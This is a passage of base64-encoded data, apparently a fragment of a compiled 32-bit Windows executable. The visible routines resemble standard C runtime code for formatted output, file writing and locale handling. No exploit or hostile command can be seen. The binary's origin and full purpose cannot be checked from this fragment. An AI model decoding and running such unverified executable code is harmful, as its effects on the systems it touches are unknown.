g7uf//g8j/6Mmr///DVYvsuPAaAADoVjQAAKEIcAEQM8WJRfyDpUTl//8Ai0UIi00MVjP2iYU45f//VzP/iY0w5f//ibVA5f//OXUQdQczwOkNCAAAhcl1H+gyvP//ITDoX7z//8cAFgAAAOjPuP//g8j/6eoHAACL0IvIwfoFg+EfweEGiZUo5f//U4sUlRCHARCJjSTl//+KXBEkAtvQ+4D7AnQFgPsBdSuLRRD30KgBdRzo17v//yEw6AS8///HABYAAADodLj//+mIBwAAi4U45f//9kQRBCB0D2oCagBqAFDohQgAAIPEEP+1OOX//+jT/f//WYXAD4RQAwAAi4Uo5f//i40k5f//iwSFEIcBEPZEAQSAD4QyAwAA6Nm+//8zyYtAbDmIqAAAAI2FGOX//1CLhSjl//8PlMGJjTzl//+LjSTl//+LBIUQhwEQ/zQB/xUEAQEQhcAPhO4CAAA5tTzl//90CITbD4TeAgAA/xUAAQEQi5Uw5f//M8khjTjl//+JhRDl//+JjTTl//+JlSzl//85TRAPhoEGAACLhSzl//8z0omVQOX//8eFFOX//woAAAAhvTzl//+E2w+FrgEAAIoQM8CLjSTl//+A+goPlMCJhRjl//+LhSjl//+LBIUQhwEQiYU85f//OXwBOHQcikQBNIhF9IuFPOX//4hV9WoCIXwBOI1F9FDrWg++wlDoKBgAAFmFwHREi4Uw5f//i5Us5f//K8IDRRCD+AEPhtsBAABqAlKNhTTl//9Q6McxAACDxAyD+P8PhAUDAACLhSzl//9A/4VA5f//6yZqAf+1LOX//42FNOX//1DomDEAAIPEDIP4/w+E1gIAAIuFLOX//zPJQP+FQOX//1FRagWJhSzl//+NRfRQagGNhTTl//9QUf+1EOX///8VdAABEImFPOX//4XAD4SVAgAAagCNjTjl//9Ri40k5f//UI1F9FCLhSjl//+LBIUQhwEQ/zQB/xUsAAEQhcAPhEwBAACLtUDl//+LjUTl//8D8YuFPOX//zmFOOX//w+MSQIAADm9GOX//3RLi40k5f//jYU45f//agBQagGNRfTGRfQNUIuFKOX//4sEhRCHARD/NAH/FSwAARCFwA+E7QAAAIO9OOX//wEPjPcBAAD/hUTl//9Gi4005f//6YYAAACA+wF0BYD7AnUzD7cIM9JmO40U5f//iY005f//D5TCg8ACiZU85f//i5VA5f//g8ICiYUs5f//iZVA5f//gPsBdAWA+wJ1S1HoZjAAAFmLjTTl//9mO8F1dYPGAjm9POX//3Qiag1YUImFNOX//+hAMAAAWYuNNOX//2Y7wXVPRv+FROX//4uVQOX//4uFLOX//ztVEA+Cqf3//+lFAQAAi50o5f//RooCi5Uk5f//iwydEIcBEIhECjSLBJ0QhwEQx0QCOAEAAADpFwEAAP8VHAABEIv46QoBAACLhSjl//+LDIUQhwEQi4Uk5f//9kQIBIAPhHUDAACLlTDl//8z/4m9NOX//4TbD4UOAQAAi10QiZU45f//hdsPhI0DAAAzyY299Ov//4vCiY085f//K4Uw5f//O8NzRIoKQkCIjR/l//+A+QqJlTjl//+LjTzl//91C/+FROX//8YHDUdBipUf5f//iBdHi5U45f//QYmNPOX//4H5/xMAAHK4i40k5f//jYX06///K/iNhSDl//9qAFBXjYX06///UIuFKOX//4sEhRCHARD/NAH/FSwAARCFwA+EE////wO1IOX//zm9IOX//3wWi5U45f//i8IrhTDl//87ww+CQf///4u9NOX//4uNROX//4X2D4X1AgAAhf8PhKwCAABqBVs7+w+FmAIAAOhEt///xwAJAAAA6AW3//+JGOnGAgAAi8qA+wIPheoAAAA5dRAPhnwCAADHhRTl//8KAAAAg6UY5f//AI2d9Ov//4vBag0rwouVGOX//147RRBzMw+3OYPAAoPBAmY7vRTl//91EIOFROX//wJmiTODwwKDwgJmiTuDwgKDwwKB+v4TAAByyI2F9Ov//4mNPOX//4uNJOX//yvYagCNhSDl//9QU42F9Ov//1CLhSjl//+LBIUQhwEQ/zQB/xUsAAEQi7VA5f//i7005f//hcAPhPL9//8DtSDl//+JtUDl//85nSDl//8PjPH+//+LjTzl//+LwYuVMOX//yvCO0UQD4Iu////6dP+//+LXRCJjTjl//+F2w+EigEAAMeFFOX//woAAACDpRjl//8AjYVI5f//i7045f//K8qLlRjl//87y3M7D7c3g8ECg8cCib045f//Zju1FOX//3USag1fZok4g8ACi7045f//g8ICZokwg8ICg8ACgfqoBgAAcsEz9o2NnPL//1ZWaFUNAABRjY1I5f//K8GZK8LR+FCLwVBWaOn9AAD/FXQAARCLtUDl//+LvTTl//+JhTzl//+FwA+EAP3//zPJiY1A5f//agArwY2VIOX//1JQjYWc8v//A8GLjSTl//9Qi4Uo5f//iwSFEIcBEP80Af8VLAABEIXAdB6LjUDl//8DjSDl//+LhTzl//+JjUDl//87wX+v6xr/FRwAARCLjUDl//+L+IuFPOX//4m9NOX//zvBD4+a/f//i4045f//i/GLlTDl//8r8om1QOX//zvzD4LE/v//6Xf9//9qAI2VIOX//1L/dRD/tTDl////NAj/FSwAARCFwA+EPfz//4u1IOX//zP/6Uf9//9X6Iq0//9Z6zyLlTDl//+LhSjl//+LjSTl//+LBIUQhwEQ9kQBBEB0CYA6GnUEM8DrHOh6tP//xwAcAAAA6Du0//+DIACDyP/rBCvxi8Zbi038XzPNXugyg///i+Vdw2oYaNhgARDoEqP//4PO/4l12Il13It9CIP//nUY6Pyz//+DIADoKLT//8cACQAAAOm9AAAAhf8PiJ0AAAA7PSSiARAPg5EAAACLx8H4BYlF5Ivfg+MfweMGiwSFEIcBEA++RBgEg+ABdHBX6JgoAABZg2X8AItF5IsEhRCHARD2RBgEAXQY/3UU/3UQ/3UMV+hnAAAAg8QQi/CL2usV6K+z///HAAkAAADocLP//4MgAIveiXXYiV3cx0X8/v///+gNAAAAi9PrK4t9CItd3It12FfoqykAAFnD6D+z//+DIADoa7P//8cACQAAAOjbr///i9aLxuhoov//w1WL7FFRVot1CFdW6BApAACDz/9ZO8d1Eeg5s///xwAJAAAAi8eL1+tE/3UUjU34Uf91EP91DFD/FQgBARCFwHUP/xUcAAEQUOjosv//WevTi8aD5h/B+AXB5gaLBIUQhwEQgGQwBP2LRfiLVfxfXovlXcNVi+z/BSCRARBWvgAQAABW6AOh//9Zi00IiUEIhcB0CYNJDAiJcRjrEYNJDASNQRSJQQjHQRgCAAAAi0EIg2EEAIkBXl3DVYvsgeyAAgAAoQhwARAzxYlF/ItFCI2NkP3//1NWiYXQ/f//i0UMV/91EIt9FImF8P3//zPAi9iJveT9//+Jhaz9//+L8Imd6P3//4mFwP3//4mF3P3//4mFzP3//4mFsP3//4mFuP3//4mFvP3//+hssf//6COy//+JhaT9//+LhdD9//+FwA+EsgoAAPZADEB1Y1Do5fP//1mLyIP5/3QZg/n+dBSL0cH4BYPiH8HiBgMUhRCHARDrBbrwcgEQ9kIkfw+FdgoAAIP5/3QZg/n+dBSLwYPhH8H4BcHhBgMMhRCHARDrBbnwcgEQ9kEkgA+FSQoAAIuV8P3//4XSD4Q7CgAAihIzwImF2P3//4vIiY3g/f//iYXI/f//iYWo/f//iJXv/f//iJW0/f//hNIPhB4KAACLhfD9//9AiYXw/f//hckPiOUJAACNQuA8WHcPD77CD7aA+EcBEIPgD+sCM8CLvcj9//9rwAkPtrw4GEgBEIvHib3I/f//i73k/f//wegEiYXI/f//g/gID4SrCQAAg/gHD4d3CQAA/ySFo60AEDPAg43c/f///4vYiYWw/f//iYW4/f//iYXA/f//iYXM/f//iZ3o/f//iYW8/f//6TwJAAAPvsKD6CB0RoPoA3Q5g+gIdC9ISHQdg+gDi4Xw/f//D4UdCQAAg8sIiZ3o/f//6Q8JAACDywSJnej9///p+wgAAIPLAevwgcuAAAAA6+iDywLr44D6KnUviweDxwSJveT9//+JhcD9//+FwA+JywgAAIPLBPfYiZ3o/f//iYXA/f//6bUIAABrjcD9//8KD77Cg8HQA8GJhcD9///plQgAADPAiYXc/f//6Y4IAACA+ip1K4sHg8cEiYXc/f//hcCLhfD9//+JveT9//8PiXAIAACDjdz9////6WQIAABrjdz9//8KD77Cg8HQA8GJhdz9///pPggAAID6SXRFgPpodDiLhfD9//+A+mx0FID6dw+FLAgAAIHLAAgAAOkH////gDhsdQxAgcsAEAAA6fb+//+DyxDp7v7//4PLIOn0/v//i4Xw/f//igA8NnUci73w/f//gH8BNHUQi8eDwAKBywCAAADpvv7//zwzdRyLvfD9//+AfwEydRCLx4PAAoHj/3///+me/v//PGQPhKoHAAA8aQ+EogcAADxvD4SaBwAAPHUPhJIHAAA8eA+EigcAADxYD4SCBwAAM8CJhcj9///rAjPAiYW8/f//jYWQ/f//UA+2wlDoLQwAAFlZhcB0OI2F4P3//1D/tdD9////tbT9///oyQcAAIuN8P3//4PEDIoBQYiFtP3//4mN8P3//4TAD4RNBwAAjYXg/f//UP+10P3///+1tP3//+iRBwAAg8QM6fwGAAAPvsKD+GQPj80BAAAPhFECAACD+FMPj+0AAAB0fIPoQXQQSEh0VkhIdAhISA+FGAUAAIDCIMeFsP3//wEAAACIle/9//+Lhdz9//+NtfT9//+Dy0C5AAIAAImd6P3//4mNxP3//4XAD4kyAgAAx4Xc/f//BgAAAOmAAgAA98MwCAAAD4WeAAAAgcsACAAAiZ3o/f//6Y0AAAD3wzAIAAB1DIHLAAgAAImd6P3//4uV3P3//7n///9/g/r/dAKLyos3g8cEib3k/f//98MQCAAAD4RTBAAAhfZ1Bos1dHEBEMeFvP3//wEAAACLxoXJdA8z0klmORB0B4PAAoXJdfMrxtH46TwEAACD6FgPhLACAABISHRwg+gHD4Qn////SEgPhSQEAACDxwSJveT9///3wxAIAAB0MA+3R/xQaAACAACNhfT9//9QjYXY/f//UOj/CwAAg8QQhcB0H8eFuP3//wEAAADrE4pH/IiF9P3//8eF2P3//wEAAACNtfT9///pxQMAAIsHg8cEib3k/f//hcB0M4twBIX2dCwPvwD3wwAIAAB0FJkrwseFvP3//wEAAADR+OmKAwAAM8mJjbz9///pfQMAAIs1cHEBEFboI43//1npawMAAIP4cA+P4wEAAA+EzwEAAIP4ZQ+MWQMAAIP4Zw+OS/7//4P4aXRkg/hudCWD+G8PhT0DAADHhdj9//8IAAAAhNt5W4HLAAIAAImd6P3//+tNg8cEib3k/f//i3/86OAJAACFwA+E6wQAAIuF4P3///bDIHQFZokH6wKJB8eFuP3//wEAAADpegQAAIPLQImd6P3//8eF2P3//woAAAD3wwCAAAB1DPfDABAAAA+EjgEAAIsPg8cIib3k/f//M/aLf/zprgEAAHURgPpndVbHhdz9//8BAAAA60o7wX4Ii8GJhdz9//89owAAAH43jbhdAQAAV+jumf//ipXv/f//iYWo/f//WYXAdAqL8Im9xP3//+sKx4Xc/f//owAAAIu95P3//4sHg8cIiYWA/f//ib3k/f//i0f8iYWE/f//jYWQ/f//UP+1sP3//w++wv+13P3//1D/tcT9//+NhYD9//9WUP81WHMBEP8VSAABEP/Qi/uDxByB54AAAAB0IYO93P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